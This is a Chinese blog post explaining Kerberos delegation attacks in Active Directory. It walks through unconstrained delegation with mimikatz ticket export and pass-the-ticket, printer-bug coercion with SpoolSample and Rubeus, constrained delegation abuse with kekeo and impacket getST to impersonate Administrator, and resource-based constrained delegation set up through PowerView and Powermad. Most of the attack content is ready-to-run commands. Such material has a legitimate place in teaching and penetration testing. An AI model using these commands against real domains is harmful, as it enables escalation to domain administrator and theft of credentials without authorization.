委派详解

委派详解

Kerberos委派攻击

域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。

  • 使用场景:

    例如 用户A 需要访问 服务用户B 提供的 http 服务,但是B的http服务调用了 用户Cmssql 服务,这个时候如果B设置了委派属性,B可以A的身份委访问C的服务。

非约束委派

机器用户和服务用户默认可开启委派,非约束委派顾名思义即为通过其可委派任何服务。当用户请求该账户时,会发送自己的TGT,并保存在该服务账户的内存中,该账户即可通过此票据以用户的身份请求访问任何服务。

1
2
3
4
5
6
7
8
9
10
11
12
* 域控:08r2 
* 用户: administrator
* 机器账户:km2008

1. km2008adsiedit.msc 中科打开委派功能
2. 以 administrator 身份通过 winrmmssql 连接 km2008
3. 通过mimikatz到处域管的票据
privilege::debug
sekurlsa::tickets /export
4. 通过mimikatz将票据注入到内存
kerberos::ptt [0;1622d8]-2-0-60a00000-Administrator@krbtgt-QIYOU.COM.kirbi
5. 我们就可以在km2008上以域管的身份访问域控。(域控要用主机名或FQDN)

winrm远程执行命令:

1
Windows Server 2012及以上默认是开启WinRM服务的,Windows Server 2008 R2需要winrm quickconfig -q来启动WinRM服务,还要注意一点就是这条命令运行后会自动添加防火墙策略,防火墙默认会放行5985端口的。

非约束委派+打印机

非约束委派需要用户主动连接,因此稍显鸡肋,但是我们可以通过 windows 的远程打印服务,强制运行spooler.exe的机器对我们选择的目标进行身份验证。

poc: https://github.com/leechristensen/SpoolSample

1
2
3
4
5
6
7
8
9
10
11
12
* 域控:dm 
* 用户: administrator
* 机器账户:km2008

1. 现在我们拥有了km2008机器的本地管理员控制权,且其可以开启委派功能。
2. 运行spoolsample.exe :
> spoolsample.exe dm km2008
3. 使用 Rubeus 监听本地:
> Rubeus.exe monitor /interval:1 /filteruser:dms$
4. Rubeus可直接将捕获到的base64编码的证书导入内存
> Rubeus.exe ptt /ticket:base64
5. mimikatz导出后就如同上面的操作了

约束委派

顾名思义,被委派用户不能随意访问服务,只能访问被限定的服务内容。委派时保留st1而不是tgt给账户,st1包含用户授权信息但不允许其代表用户访问任意其他服务。

微软为保证委派的安全性引入S4U协议,该协议支持两个扩展:S4U2self、S4U2proxy。**2self代表自身请求代表自身的st、2proxy代表代替用户请求代表用户的st**。约束委派限制了2proxy的范围。

img

其中步骤1-4代表 S4U2Self 请求的过程,步骤5-10代表 S4U2proxy的请求过程

约束委派的利用

常规利用
  • 利用结果很像是白银票据,但是并不需要直接获得想要请求的服务的hash

  • 通过服务用户的明文或者ntlm,伪造用户发起s4u请求,伪装成任意用户访问被委派的服务。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    利用工具:kekeo.exe
    条件:1.服务用户的明文or哈希
    2.委派权限

    1. 通过服务用户的口令请求tgt
    > tgt::ask /user:fuwu /domain:test.local /password:password
    # 将会在目录生成票据
    2. 以administrator身份请求对其他服务的st(服务票据)
    > tgs::s4u /tgt:TGT_fuwu@TEST.LOCAL_krbtgt~test.local@TEST.LOCAL.kirbi /user:Administrator@test.local /service:cifs/dm08.test.local
    3. 导入st
    > kerberos::ptt TGS_Administrator@test.local@TEST.LOCAL_cifs~dm08.test.local@TEST.LOCAL.kirbi
    约束委派加黄金票据
  • 通过将被委派对象设置成krbtgt,可以达成和黄金票据一样的效果(同理,就和获得了krbtgt的hash可以制作金票一样,本身就是白银票据的效果)

  • 可以用impacket系列的getST向KDC请求administrator的TGT

    1
    2
    3
    4
    5
    getST.exe -dc-ip 192.168.141.145 -spn krbtgt/test.local -impersonate Administrator test.local/fuwu:password

    # -impersonate:表示伪造用户
    # -spn:表示我们要委派的服务的spn,这里是TGS
    # -dc-ip:域控ip
  • 执行成功会生成一个域控的缓存文件,使用mimikatz的ptc将其导入

    1
    kerberos::ptc Administrator.cache

    基于资源的约束委派

aa.png

  • 不再需要域管理员权限去设置相关属性。基于资源的约束委派把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。
  • 就算S4U2Self返回的票据不可转发(可不可以转发由TrustedToAuthenticationForDelegation决定),S4U2Proxy也是可以成功,并且S4U2Proxy返回的票据总是可转发。
  • 利用条件:简单来说就是你获得的用户对该主机的属性具有写权限,那么这个用户就可以对该主机进行攻击。(获取机器的system权限)

基于资源的约束委派的利用

还是利用之前的例子来做说明:

  • 目标机器:vul.test.local
  • 用户:test.local\user1(对目标机器有写权限 )

利用过程如下:

  • 查看用户权限,利用harmj0y的PowerView

    1
    2
    3
    4
    Get-DomainUser -Identity user1 -Properties objectsid
    # 获取用户的sid
    Get-DomainObjectAcl -Identity vul | ?{$_.SecurityIdentifier -match "S-1-5-21-662417213-3583657854-423750704-1001"}
    # 根据sid查询用户对机器的权限

    GenericAll、GenericWrite、WriteProperty、WriteDacl 等权限可修改机器属性

  • 创建一个机器用户,使用Powermad

    1
    New-MachineAccount -MachineAccount evilsystem -Password $(ConvertTo-SecureString "fuwu" -AsPlainText -Force)

    创建一个计算机用户fuwusystem

  • 配置fuwusystem到vul的基于资源约束的委派(PowerView)

    1
    2
    3
    4
    5
    6
    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-662417213-3583657854-423750704-1115)"
    $SDBytes = New-Object byte[] ($SD.BinaryLength)
    # 生成代表属性值的字节型数组
    $SD.GetBinaryForm($SDBytes, 0)
    Get-DomainComputer vul| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
    # 设置属性值
  • 验证是否成功添加

    1
    Get-DomainComputer vul -Properties msds-allowedtoactonbehalfofotheridentity
  • 清除msds-allowedtoactonbehalfofotheridentity属性的值

    1
    Set-DomainObject vul -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
  • 也可以直接通过AD模块修改(server2012及以上)

    1
    2
    Set-ADComputer vul -PrincipalsAllowedToDelegateToAccount fuwusystem$
    Get-ADComputer vul -Properties PrincipalsAllowedToDelegateToAccount
    • 该模块仅在域控安装,可将域控的 Microsoft.ActiveDirectory.Management.dll 文件导出

      1
      import-module Microsoft.ActiveDirectory.Management.dll
  • 之后的攻击步骤与约束委派相同

    1
    getST.exe -dc-ip 192.168.141.145 -spn cifs/dm2008 -impersonate Administrator test.local/fuwusystem$:password

    image-20210205074422901

设置了不可委派的用户的利用

域内高权限用户是默认不可被委派的(例如adminsitrator)即s4u2self不可转发,s4u2proxy转发会失败

国外的师傅分析了原因是S4U2self返回的票据缺失SPN,那只需要补全即可

Rubeus实现了这个功能:

  • 先将s4u2self票据导出为test.kirbi

  • 补全spn

    1
    2
    Rubeus.exe tgssub /ticket:test.kirbi /altservice:cifs/vul /ptt
    Rubeus.exe tgssub /ticket:test.kirbi /altservice:host/vul /ptt

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!